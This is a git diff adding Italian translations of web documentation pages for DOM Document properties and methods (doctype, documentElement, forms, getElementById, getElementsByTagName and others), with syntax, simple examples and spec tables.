+<div>{{APIRef("DOM")}}</div>
+
+<p>Restituisce la dichiarazione di tipo di documento (DTD) associata al documento corrente. L'oggetto restituito implementa l'interfaccia <a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-412266927">DocumentType</a>.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><var>doctype</var> = <var>document</var>.doctype
+</pre>
+
+<p><code>doctype</code> è un proprietà di sola lettura</p>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Questa proprietà restituisce <code>null</code> se non vi è alcun DTD associato al documento corrente.</p>
+
+<p>Lo standard DOM level 2 non permette modifiche alla DTD.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-B63ED1A31">DOM Level 2 Core: doctype</a></p>
+
+<p>{{ languages( { "pl": "pl/DOM/document.doctype" } ) }}</p>
diff --git a/files/it/web/api/document/documentelement/index.html b/files/it/web/api/document/documentelement/index.html
new file mode 100644
index 0000000000..e48895b7a0
--- /dev/null
+++ b/files/it/web/api/document/documentelement/index.html
@@ -0,0 +1,68 @@
+---
+title: Document.documentElement
+slug: Web/API/Document/documentElement
+translation_of: Web/API/Document/documentElement
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p><strong><code>Document.documentElement</code></strong> ritorna l'{{domxref("Element")}} che è l'elemento principale di {{domxref("document")}} (per esempio, l'elemento {{HTMLElement("html")}} per i documenti HTML).</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">var <var>element</var> = <var>document</var>.documentElement;
+</pre>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush:js">var rootElement = document.documentElement;
+var firstTier = rootElement.childNodes;
+
+// firstTier è la NodeList dei figli diretti dell'elemento root
+for (var i = 0; i &lt; firstTier.length; i++) {
+   // fare qualcosa con ogni child diretto dell'elemento radice
+   // come firstTier[i]
+}</pre>
+
+<h2 id="Appunti">Appunti</h2>
+
+<p>Per qualsiasi documento HTML non vuoto, <code>document.documentElement</code> sarà sempre un elemento {{HTMLElement("html")}}. Per qualsiasi documento XML non vuoto, <code>document.documentElement</code> sarà sempre qualunque elemento sia l'elemento radice del documento.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-document-documentelement','Document.documentElement')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4','#dom-document-documentelement','Document.documentElement')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','core.html#ID-87CD092','Document.documentElement')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','core.html#ID-87CD092','Document.documentElement')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Document.documentElement")}}</p>
diff --git a/files/it/web/api/document/firstchild/index.html b/files/it/web/api/document/firstchild/index.html
new file mode 100644
index 0000000000..ed5a34a883
--- /dev/null
+++ b/files/it/web/api/document/firstchild/index.html
@@ -0,0 +1,40 @@
+---
+title: document.firstChild
+slug: Web/API/Document/firstChild
+translation_of: Web/API/Node/firstChild
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code>document.firstChild</code> restituisce il primo nodo figlio del documento.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><i>child = document.firstChild</i>
+</pre>
+
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+
+<ul>
+ <li><code>figlio</code> è un nodo di tipo <a href="it/DOM/element">element</a>.</li>
+</ul>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre>function primoFiglio() {
+  f = document.firstChild;
+  alert(f.tagName);
+}
+// restituisce [object DocumentType] se il documento ha una DTD
+// altrimenti restituisce "HTML"
+
+// Per un documento HTML che ha una DTD
+// document.firstChild
+// restituisce [object DocumentType]
+
+</pre>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-169727388">DOM Level 2 Core: firstChild</a></p>
+
+<p>{{ languages( { "pl": "pl/DOM/document.firstChild" } ) }}</p>
diff --git a/files/it/web/api/document/forms/index.html b/files/it/web/api/document/forms/index.html
new file mode 100644
index 0000000000..cda3146a42
--- /dev/null
+++ b/files/it/web/api/document/forms/index.html
@@ -0,0 +1,128 @@
+---
+title: Document.forms
+slug: Web/API/Document/forms
+tags:
+  - API
+  - DOM
+  - Document
+  - Forms
+  - HTML DOM
+  - HTML forms
+  - Proprietà
+  - Referenza
+translation_of: Web/API/Document/forms
+---
+<p><span class="seoSummary">La proprietà di sola lettura <strong><code>forms</code></strong> dell'interfaccia {{domxref("Document")}} restituisce una {{domxref("HTMLCollection")}} che elenca tutti gli elementi {{HTMLElement("form")}} contenuti nel documento.</span></p>
+
+<div class="note">
+<p><strong>Note:</strong> Allo stesso modo, è possibile accedere a un elenco di elementi di input utente di un modulo utilizzando la proprietà {{domxref("HTMLFormElement.elements")}}.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox"><var>collection</var> = <em>document</em>.forms;</pre>
+
+<h3 id="Valore">Valore</h3>
+
+<p>Un oggetto {{domxref("HTMLCollection")}} che elenca tutti i form del documento. Ogni elemento della collezione è un {{domxref("HTMLFormElement")}} che rappresenta un singolo elemento <code>&lt;form&gt;</code>.</p>
+
+<p>Se il documento non ha moduli, la raccolta restituita è vuota, con una lunghezza pari a zero.</p>
+
+<h2 id="Example" name="Example">Esempi</h2>
+
+<h3 id="Ottenere_informazioni_sul_modulo">Ottenere informazioni sul modulo</h3>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+
+&lt;head&gt;
+&lt;title&gt;document.forms example&lt;/title&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;form id="robby"&gt;
+  &lt;input type="button" onclick="alert(document.forms[0].id);" value="robby's form" /&gt;
+&lt;/form&gt;
+
+&lt;form id="dave"&gt;
+  &lt;input type="button" onclick="alert(document.forms[1].id);" value="dave's form" /&gt;
+&lt;/form&gt;
+
+&lt;form id="paul"&gt;
+  &lt;input type="button" onclick="alert(document.forms[2].id);" value="paul's form" /&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Ottenere_un_elemento_all'interno_di_un_modulo">Ottenere un elemento all'interno di un modulo</h3>
+
+<pre class="brush: js">var selectForm = document.forms[index];
+var selectFormElement = document.forms[index].elements[index];
+</pre>
+
+<h3 id="Accesso_al_modulo_con_nome">Accesso al modulo con nome</h3>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+  &lt;title&gt;document.forms example&lt;/title&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;form name="login"&gt;
+  &lt;input name="email" type="email"&gt;
+  &lt;input name="password" type="password"&gt;
+  &lt;button type="submit"&gt;Log in&lt;/button&gt;
+&lt;/form&gt;
+
+&lt;script&gt;
+  var loginForm = document.forms.login; // Or document.forms['login']
+  loginForm.elements.email.placeholder = 'test@example.com';
+  loginForm.elements.password.placeholder = 'password';
+&lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-forms', 'Document.forms')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-1689064', 'Document.forms')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_Also" name="See_Also">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Document.forms")}}</p>
+
+<h2 id="See_Also" name="See_Also">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Forms">HTML forms</a></li>
+ <li>{{HTMLElement("form")}} e l'interfaccia {{domxref("HTMLFormElement")}}</li>
+</ul>
+
+<div>{{APIRef("DOM")}}</div>
diff --git a/files/it/web/api/document/getelementbyid/index.html b/files/it/web/api/document/getelementbyid/index.html
new file mode 100644
index 0000000000..bdcfac73a5
--- /dev/null
+++ b/files/it/web/api/document/getelementbyid/index.html
@@ -0,0 +1,149 @@
+---
+title: Document.getElementById()
+slug: Web/API/Document/getElementById
+tags:
+  - API
+  - DOM
+  - Document
+  - Elementi
+  - Referenza
+  - Web
+  - getElementById
+  - id
+  - metodo
+translation_of: Web/API/Document/getElementById
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p>Il metodo {{domxref("Document")}} <code><strong>getElementById()</strong></code> restituisce un oggetto {{domxref("Element")}} che rappresenta l'elemento la cui proprietà {{domxref("Element.id", "id")}} corrisponde alla stringa specificata. Poiché gli ID degli elementi devono essere univoci se specificati, sono un modo utile per accedere rapidamente a un elemento specifico.</p>
+
+<p>Se hai bisogno di accedere a un elemento che non ha un ID, puoi usare {{domxref("Document.querySelector", "querySelector()")}} per trovare l'elemento usando un qualsiasi {{Glossary("CSS selector", "selettore")}}.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="eval">var <em>element</em> = <em>document</em>.getElementById(<em>id</em>);
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><strong><code>id</code></strong></dt>
+ <dd>L'ID dell'elemento da localizzare. L'ID è una stringa sensibile al maiuscolo/minuscolo, che è univoca all'interno del documento; solo un elemento può avere un dato ID.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un oggetto {{domxref("Element")}} che descrive l'oggetto elemento DOM che corrisponde all'ID specificato o <code>null</code> se nel documento non è stato trovato alcun elemento corrispondente.</p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;getElementById example&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p id="para"&gt;text here&lt;/p&gt;
+  &lt;button onclick="changeColor('blue');"&gt;blue&lt;/button&gt;
+  &lt;button onclick="changeColor('red');"&gt;red&lt;/button&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function changeColor(newColor) {
+  var elem = document.getElementById('para');
+  elem.style.color = newColor;
+}</pre>
+
+<h3 id="Risultato">Risultato</h3>
+
+<p>{{ EmbedLiveSample('Esempio', 250, 100) }}</p>
+
+<h2 id="Note_di_utilizzo">Note di utilizzo</h2>
+
+<p>La maiuscola di <code>"Id"</code> nel nome di questo metodo deve essere corretta affinché il codice funzioni; <code>getElementByID()</code> <em>non è</em> valido e non funzionerà, per quanto naturale possa sembrare.</p>
+
+<p>A differenza di altri metodi di ricerca degli elementi come {{domxref("Document.querySelector()")}} e {{domxref("Document.querySelectorAll()")}}, <code>getElementById()</code> è disponibile solo come metodo per l'oggetto globale <code>document</code>, e <em>non</em> è disponibile come metodo su tutti gli oggetti elemento nel DOM. Poiché gli ID devono essere univoci nell'intero documento, non sono necessarie versioni "locali" della funzione.</p>
+
+<h2 id="Esempio_2">Esempio</h2>
+
+<pre>&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;meta charset="UTF-8"&gt;
+    &lt;title&gt;Document&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+    &lt;div id="parent-id"&gt;
+        &lt;p&gt;hello word1&lt;/p&gt;
+        &lt;p id="test1"&gt;hello word2&lt;/p&gt;
+        &lt;p&gt;hello word3&lt;/p&gt;
+        &lt;p&gt;hello word4&lt;/p&gt;
+    &lt;/div&gt;
+    &lt;script&gt;
+        var parentDOM = document.getElementById('parent-id');
+        var test1 = parentDOM.getElementById('test1');
+        // throw error
+        // Uncaught TypeError: parentDOM.getElementById is not a function
+    &lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Se non ci sono elementi con l'<code>id</code> fornito, questa funzione restituisce <code>null</code>. Nota che il parametro <code>id</code> è case-sensitive, quindi <code>document.getElementById("<strong>M</strong>ain")</code> restituirà <code>null</code> invece dell'elemento <code>&lt;div id="<strong>m</strong>ain"&gt;</code> perché "M" e "m" sono diversi per gli scopi di questo metodo.</p>
+
+<p><strong>Gli elementi non presenti nel documento </strong>non vengono cercati da <code>getElementById()</code>. Quando crei un elemento ed assegni un ID ad esso, devi inserire l'elemento nell'albero del documento con {{domxref("Node.insertBefore()")}} o un metodo simile prima di poterlo ottenere con <code>getElementById()</code>:</p>
+
+<pre class="brush: js">var element = document.createElement('div');
+element.id = 'testqq';
+var el = document.getElementById('testqq'); // el sarà nullo!
+</pre>
+
+<p><strong>Documenti non HTML.</strong> L'implementazione del DOM deve avere informazioni che indicano quali attributi sono di tipo ID. Gli attributi con il nome "id" non sono di tipo ID a meno che non siano definiti nella DTD del documento. L'attributo <code>id</code> è definito come di tipo ID nei casi comuni di <a href="/en-US/docs/XHTML" title="en-US/docs/XHTML">XHTML</a>, <a href="/en-US/docs/XUL" title="en-US/docs/XUL">XUL</a>, e altri. Si prevede che le implementazioni che non sanno se gli attributi siano di tipo ID o non restituiscano <code>null</code>.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1','level-one-html.html#method-getElementById','getElementById')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definizione iniziale per l'interfaccia</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','core.html#ID-getElBId','getElementById')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Sostituisce DOM 1</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','core.html#ID-getElBId','getElementById')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Sostituisce DOM 2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-nonelementparentnode','getElementById')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Intende rimpiazzare DOM 3</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Document.getElementById")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{domxref("Document")}} riferimento per altri metodi e proprietà che è possibile utilizzare per ottenere riferimenti a elementi nel documento.</li>
+ <li>{{domxref("Document.querySelector()")}} per i selettori tramite query come <code>'div.myclass'</code></li>
+ <li><a href="/en-US/docs/xml/xml:id" title="en-US/docs/xml/id">xml:id</a> - ha un metodo di utilità per consentire a <code>getElementById()</code> di ottenere 'xml:id' nei documenti XML (come restituito dalle chiamate Ajax)</li>
+</ul>
diff --git a/files/it/web/api/document/getelementsbyclassname/index.html b/files/it/web/api/document/getelementsbyclassname/index.html
new file mode 100644
index 0000000000..c752bd665d
--- /dev/null
+++ b/files/it/web/api/document/getelementsbyclassname/index.html
@@ -0,0 +1,82 @@
+---
+title: Document.getElementsByClassName()
+slug: Web/API/Document/getElementsByClassName
+translation_of: Web/API/Document/getElementsByClassName
+---
+<p id="Summary">{{APIRef("DOM")}}</p>
+
+<p>Il metodo <strong><code>getElementsByClassName</code></strong> dell'interfaccia {{domxref("Document")}} restituisce un array-like object di tutti gli elementi figli che hanno le classi specificate. Quando viene richiamato sull'oggetto {{domxref("document")}}, viene eseguita la ricerca del documento completo, incluso il nodo radice. Puoi anche usare {{domxref("Element.getElementsByClassName", "getElementsByClassName()")}} su qualsiasi elemento; restituirà solo gli elementi che sono discendenti dell'elemento radice specificato con le classi fornite.</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox"><var>var elementi </var>= document.getElementsByClassName(<em>nomi</em>); // oppure:
+<var>var elementi </var>= rootElement.getElementsByClassName(<em>nomi</em>);</pre>
+
+<ul>
+ <li><var>elements</var> è una {{domxref("HTMLCollection")}} dinamica degli elementi trovati.</li>
+ <li><var>nomi </var>è una stringa che rappresenta l'elenco di nomi di classi da abbinare; le classi sono separate da spazi bianchi</li>
+ <li>getElementsByClassName può essere chiamato su qualsiasi elemento, non solo sul documento. L'elemento su cui è chiamato verrà utilizzato come radice della ricerca.</li>
+</ul>
+
+<h2 id="Examples" name="Examples">Esempi</h2>
+
+<p>Ottenere tutti gli elementi che hanno una come classe 'test':</p>
+
+<pre class="brush: js">document.getElementsByClassName('test')</pre>
+
+<p>Ottenere tutti gli elementi che hanno entrambe le classi 'red' e 'test':</p>
+
+<pre class="brush: js">document.getElementsByClassName('red test')</pre>
+
+<p>Ottenere tutti gli elementi che hanno una classe di 'test', all'interno di un elemento che ha l'ID di 'main':</p>
+
+<pre class="brush: js">document.getElementById('main').getElementsByClassName('test')</pre>
+
+<p>Ottenere il primo elemento con classe 'test' o indefinito se non ci sono elementi corrispondenti:</p>
+
+<pre class="brush: js">document.getElementsByClassName('test')[0]
+</pre>
+
+<p>Possiamo anche utilizzare il metodo Array.prototype su qualsiasi {{domxref("HTMLCollection")}} passando la <code>HTMLCollection</code> come il valore <em>this</em>. Qui troveremo tutti gli elementi div che hanno come classe 'test':</p>
+
+<pre class="brush: js">var testElements = document.getElementsByClassName('test');
+var testDivs = Array.prototype.filter.call(testElements, function(testElement){
+    return testElement.nodeName === 'DIV';
+});</pre>
+
+<h2 id="Ottenere_il_primo_elemento_la_cui_classe_è_'test'">Ottenere il primo elemento la cui classe è 'test'</h2>
+
+<p>Questo è il metodo di operazione più comunemente usato.</p>
+
+<pre>&lt;html&gt;
+&lt;body&gt;
+    &lt;div id="parent-id"&gt;
+        &lt;p&gt;hello world 1&lt;/p&gt;
+        &lt;p class="test"&gt;hello world 2&lt;/p&gt;
+        &lt;p&gt;hello world 3&lt;/p&gt;
+        &lt;p&gt;hello world 4&lt;/p&gt;
+    &lt;/div&gt;
+
+    &lt;script&gt;
+        var parentDOM = document.getElementById("parent-id");
+
+        var test = parentDOM.getElementsByClassName("test"); // una lista di elementi corrispondenti, *non* l'elemento stesso
+        console.log(test); //HTMLCollection[1]
+
+        var testTarget = parentDOM.getElementsByClassName("test")[0]; // il primo elemento, come volevamo
+        console.log(testTarget); //&lt;p class="test"&gt;hello world 2&lt;/p&gt;
+    &lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Document.getElementsByClassName")}}</p>
+
+<h2 id="Specification" name="Specification">Specifiche</h2>
+
+<ul>
+ <li><a href="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-getelementsbyclassname" title="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-getelementsbyclassname"><span class="external">W3C: getElementsByClassName</span></a></li>
+</ul>
diff --git a/files/it/web/api/document/getelementsbyname/index.html b/files/it/web/api/document/getelementsbyname/index.html
new file mode 100644
index 0000000000..f39fdf8ef7
--- /dev/null
+++ b/files/it/web/api/document/getelementsbyname/index.html
@@ -0,0 +1,97 @@
+---
+title: Document.getElementsByName()
+slug: Web/API/Document/getElementsByName
+tags:
+  - API
+  - DOM
+  - Document
+  - HTML
+  - Referenza
+  - metodo
+translation_of: Web/API/Document/getElementsByName
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary">Il metodo <strong><code>getElementsByName()</code></strong> dell'oggetto {{domxref("Document")}} ritorna una raccolta di elementi {{domxref("NodeList")}} con un determinato {{domxref("element.name","name")}} nel documento.</span></p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">var <var>elements</var> = document.getElementsByName(<var>name</var>);
+</pre>
+
+<ul>
+ <li><var>elements</var> è una {{domxref("NodeList")}} dinamica, il che significa che si aggiorna automaticamente man mano che nuovi elementi con lo stesso <code>name</code> vengono aggiunti / rimossi dal documento.</li>
+ <li><var>name</var> è il valore dell'attributo <code>name</code> degli elementi.</li>
+</ul>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;title&gt;Example: using document.getElementsByName&lt;/title&gt;
+
+&lt;input type="hidden" name="up"&gt;
+&lt;input type="hidden" name="down"&gt;
+
+&lt;script&gt;
+  var up_names = document.getElementsByName("up");
+  console.log(up_names[0].tagName); // ritorna "INPUT"
+&lt;/script&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Appunti">Appunti</h2>
+
+<p>L'attributo {{domxref("element.name","name")}} può essere applicato solo nei documenti (X)HTML.</p>
+
+<p>La raccolta {{domxref("NodeList")}} restituita contiene tutti gli elementi con il parametro <code>name</code> dato, come {{htmlelement("meta")}}, {{htmlelement("object")}}, e persino elementi che non supportano affatto l'attributo <code>name</code>.</p>
+
+<div class="warning">
+<p>Il metodo <strong>getElementsByName</strong> funziona in modo diverso in IE10 e versioni precedenti. Lì, <code>getElementsByName()</code> restituisce anche gli elementi che hanno un <a href="/en-US/docs/Web/HTML/Global_attributes/id">attributo <code>id</code></a> con il valore specificato. Fai attenzione a non usare la stessa stringa sia di un <code>name</code> che di un <code>id</code>.</p>
+</div>
+
+<div class="warning">
+<p>Il metodo <strong>getElementsByName</strong> funziona in modo diverso in IE. Lì, <code>getElementsByName()</code> non restituisce tutti gli elementi che potrebbero non avere un attributo <code>name</code> (come <code>&lt;span&gt;</code>).</p>
+</div>
+
+<div class="warning">
+<p>Sia IE che Edge restituiscono una {{domxref("HTMLCollection")}}, non una {{domxref("NodeList")}}</p>
+</div>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-getelementsbyname', "Document.getElementsByName()")}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-71555259", "Document.getElementsByName()")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Document.getElementsByName")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{domxref("document.getElementById()")}} per restituire un riferimento a un elemento tramite il suo <code>id</code> unico</li>
+ <li>{{domxref("document.getElementsByTagName()")}} per restituire riferimenti ad elementi con lo stesso <a href="https://developer.mozilla.org/it/docs/Web/API/Element/tagName">tag</a></li>
+ <li>{{domxref("document.querySelector()")}} per restituire riferimenti a elementi tramite selettori CSS come <code>'div.myclass'</code></li>
+</ul>
diff --git a/files/it/web/api/document/getelementsbytagname/index.html b/files/it/web/api/document/getelementsbytagname/index.html
new file mode 100644
index 0000000000..e5ad9540fb
--- /dev/null
+++ b/files/it/web/api/document/getelementsbytagname/index.html
@@ -0,0 +1,116 @@
+---
+title: Document.getElementsByTagName()
+slug: Web/API/Document/getElementsByTagName
+tags:
+  - API
+  - DOM
+  - Referenza
+  - metodo
+translation_of: Web/API/Document/getElementsByTagName
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary">Il metodo <strong><code>getElementsByTagName</code></strong> dell'interfaccia {{domxref("Document")}} ritorna una {{domxref("HTMLCollection")}} di elementi con il tag specificato.</span> Viene cercato il documento completo, incluso il nodo radice. L'<code>HTMLCollection</code> è dinamica, il che significa che si aggiorna automaticamente per rimanere sincronizzato con l'albero del DOM senza dover chiamare di nuovo <code>document.getElementsByTagName()</code>.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">var <em>elementi </em>= document.getElementsByTagName(<var>nome</var>);</pre>
+
+<ul>
+ <li><em>elementi </em>è una {{domxref("HTMLCollection")}} dinamica (ma vedi la nota sotto) degli elementi trovati nell'ordine in cui appaiono nell'albero.</li>
+ <li><var>nome</var> è una stringa che rappresenta il nome degli elementi. La stringa speciale "*" rappresenta tutti gli elementi.</li>
+</ul>
+
+<div class="note"><a href="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html">Le ultime specifiche W3C</a> dicono che gli elementi sono una <code>HTMLCollection</code>; tuttavia, questo metodo restituisce una {{domxref("NodeList")}} nei browser WebKit. Vedi {{bug(14869)}} per i dettagli.</div>
+
+<h2 id="Esempio">Esempio</h2>
+
+<p>Nell'esempio seguente, <code>getElementsByTagName()</code> inizia da un particolare elemento padre e ricerca dall'alto verso il basso ricorsivamente attraverso il DOM da quell'elemento padre, una raccolta di tutti i discendenti che corrispondono al parametro <code>nome</code> del tag. Questo documento mostra sia <code>document.getElementsByTagName()</code> che l'identico funzionale {{domxref("Element.getElementsByTagName()")}}, che avvia la ricerca su un elemento specifico all'interno dell'albero del DOM.</p>
+
+<p>Facendo click sui pulsanti viene utilizzato <code>getElementsByTagName()</code> per contare gli elementi del paragrafo discendente di un particolare genitore (il documento stesso o uno dei due elementi {{HTMLElement("div")}}).</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+  &lt;meta charset="UTF-8" /&gt;
+  &lt;title&gt;esempio di getElementsByTagName&lt;/title&gt;
+  &lt;script&gt;
+    function getAllParaElems() {
+      var allParas = document.getElementsByTagName('p');
+      var num = allParas.length;
+      alert('Ci sono ' + num + ' paragrafi in questo documento');
+    }
+
+    function div1ParaElems() {
+      var div1 = document.getElementById('div1');
+      var div1Paras = div1.getElementsByTagName('p');
+      var num = div1Paras.length;
+      alert('Ci sono ' + num + ' paragrafi in #div1');
+    }
+
+    function div2ParaElems() {
+      var div2 = document.getElementById('div2');
+      var div2Paras = div2.getElementsByTagName('p');
+      var num = div2Paras.length;
+      alert('Ci sono ' + num + ' paragrafi in #div2');
+    }
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body style="border: solid green 3px"&gt;
+  &lt;p&gt;Qualche testo esterno&lt;/p&gt;
+  &lt;p&gt;Qualche testo esterno&lt;/p&gt;
+
+  &lt;div id="div1" style="border: solid blue 3px"&gt;
+    &lt;p&gt;Qualche testo div1&lt;/p&gt;
+    &lt;p&gt;Qualche testo div1&lt;/p&gt;
+    &lt;p&gt;Qualche testo div1&lt;/p&gt;
+
+    &lt;div id="div2" style="border: solid red 3px"&gt;
+      &lt;p&gt;Qualche testo div2&lt;/p&gt;
+      &lt;p&gt;Qualche testo div2&lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+
+  &lt;p&gt;Qualche testo esterno/p&gt;
+  &lt;p&gt;Qualche testo esterno&lt;/p&gt;
+
+  &lt;button onclick="getAllParaElems();"&gt;
+    mostra tutti gli elementi p nel documento&lt;/button&gt;&lt;br /&gt;
+
+  &lt;button onclick="div1ParaElems();"&gt;
+    mostra tutti gli elementi p nell'elemento div1&lt;/button&gt;&lt;br /&gt;
+
+  &lt;button onclick="div2ParaElems();"&gt;
+   mostra tutti gli elementi p nell'elemento div2&lt;/button&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Note">Note</h2>
+
+<p>Quando chiamato su un documento HTML, <code>getElementsByTagName()</code> converte in minuscolo il suo argomento prima di procedere. Ciò non è desiderabile quando si cerca di far corrispondere gli elementi SVG di camelCase in una sottostruttura in un documento HTML. {{Domxref("document.getElementsByTagNameNS()")}} è utile in questo caso. Vedi anche {{Bug(499656)}}.</p>
+
+<p><code>document.getElementsByTagName()</code> è simile a {{domxref("Element.getElementsByTagName()")}}, ad eccezione del fatto che la sua ricerca comprende l'intero documento.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<ul>
+ <li><a href="https://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li>
+ <li><a href="https://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-A6C9094">DOM Level 2 Core: Document.getElementsByTagName</a></li>
+</ul>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Document.getElementsByTagName")}}</p>
+
